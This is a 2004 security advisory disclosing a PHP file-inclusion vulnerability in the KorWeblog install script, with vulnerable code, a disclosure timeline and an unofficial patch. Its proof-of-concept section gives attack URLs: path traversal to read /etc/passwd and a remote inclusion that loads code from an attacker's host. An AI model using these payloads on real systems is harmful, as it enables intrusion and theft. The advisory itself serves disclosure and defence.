KorWeblog php injection Vulnerability

Release Date : 2004/12/31 (KST)

Author : Mins (mins at fsu.or.kr)

Product : KorWeblog http://weblog.kldp.org

Vendor-Status: Vendor was contacted but I could not receive reply message.

Vendor-Patches: None

Impact: Attacker can execute arbitrary php code.

Summary

=======

KorWeblog is one of popular blog system in Korea.

The "lng" parameter in "/install/index.php" isn't properly verified, before it is used to include files.

And Attacker does not need "register_globals=On".

So this vulnerability would allow remote user to inject php codes.

Affected Products

=================

korweblog 1.6.2-cvs and prior

- 1st case

php.ini : magic_quotes_gpc = Off

- 2nd case

php.ini : magic_quotes_gpc = On

- 3rd case

php.ini : allow_url_fopen : On

Vendor Status : NOT FIXED

=============

2004-12-23 Vulnerability found

2004-12-26 Notified vendor.

2004-12-27 Could not receive reply message.

2004-12-27 Mins made temporary patch.

2004-12-29 2nd vendor Contact.

2004-12-30 Release of unoffical patch.

2004-12-31 Offical advisory release.

Details

=======

If "/install/index.php" exists, attacker can execute arbitrary php code.

Part of weak source (/install/index.php)

----

ini_set('magic_quotes_gpc',1);

ini_set('magic_quotes_sybase',0);

include("../include/misc.inc.php");

include("../include/sql.inc.php");

include("include/check.inc.php");

if(!ini_get("register_globals")) {

include("include/grab_globals.inc.php");

}

$url = eregi_replace("(/install/|/install)$","",F_GetBaseURL());

$path = eregi_replace("(/install/|/install)$","",dirname($_SERVER['SCRIPT_FILENA
ME']));

$G_VER = "1.6.2";

if (!empty($lng)) include("lang/$lng" . ".php");

Keep in mind that the setting magic_quotes_gpc will not work at runtime.

When the "magic_quotes_gpc" is 'Off', attacker can add '%00' to '$lng'.

However if "magic_quotes_gpc" is 'On', attacker can open only '.php' file.

That's right. But attacker is able to use another file.

Part of another same package source (/include/main.inc.php)

----

if (eregi("main.inc.php", $_SERVER['PHP_SELF']))

die ("You can not access this file directly...");

set_magic_quotes_runtime(0);

ini_set('magic_quotes_gpc',1);

ini_set('magic_quotes_sybase',0);

include("$G_PATH/include/sql.inc.php");

include("$G_PATH/include/layout.inc.php");

include("$G_PATH/include/parser.inc.php");

Proof of Concepts

=================

- 1st case

php.ini : register_globals = On, magic_quotes_gpc = Off

http://[victim]/weblog/install/index.php?lng=../../../../../../etc/passw
d%00

- 2nd case

php.ini : register_globals = On

http://[victim]/weblog/install/index.php?lng=../../phpinfo

- 3rd case

php.ini : register_globals = On, allow_url_fopen : On

http://[victim]/weblog/install/index.php?lng=../../include/main.inc&G_PA
TH=http://[hacker]

Solution

========

- remove the install file

- Set "allow_url_fopen" to "Off".

- unoffical patch

mins@hackme:~/public_html/korweblog-1.6.1/install$ cat index.diff

--- index_1_6_1.php Mon Dec 27 17:31:50 2004

+++ index.php Mon Dec 27 17:40:51 2004

@@ -18,7 +18,10 @@

$G_VER = "1.6.1";

-if (!empty($lng)) include("lang/$lng" . ".php");

+if (!empty($lng)) {

+ if (eregi("\.\.",$lng) || eregi("/",$lng)) $lng="korean";

+ include("lang/$lng" . ".php");

+}

$sql_form ="<P>

<TABLE><TR><TD COLSPAN=2><B>". _SQL_INPUT ."</B></TD>

Credits

=======

Mins at FSU (mins at fsu.or.kr)

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